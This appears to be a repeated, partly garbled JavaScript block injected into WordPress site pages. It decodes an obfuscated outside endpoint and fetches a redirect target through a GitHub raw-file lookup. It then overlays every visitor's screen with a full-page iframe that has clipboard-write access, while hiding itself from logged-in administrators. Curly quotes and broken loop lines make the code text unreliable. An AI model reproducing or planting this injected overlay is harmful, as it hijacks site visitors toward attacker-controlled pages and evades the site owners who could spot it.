var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/\{id\}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/\{id\}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/\{id\}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
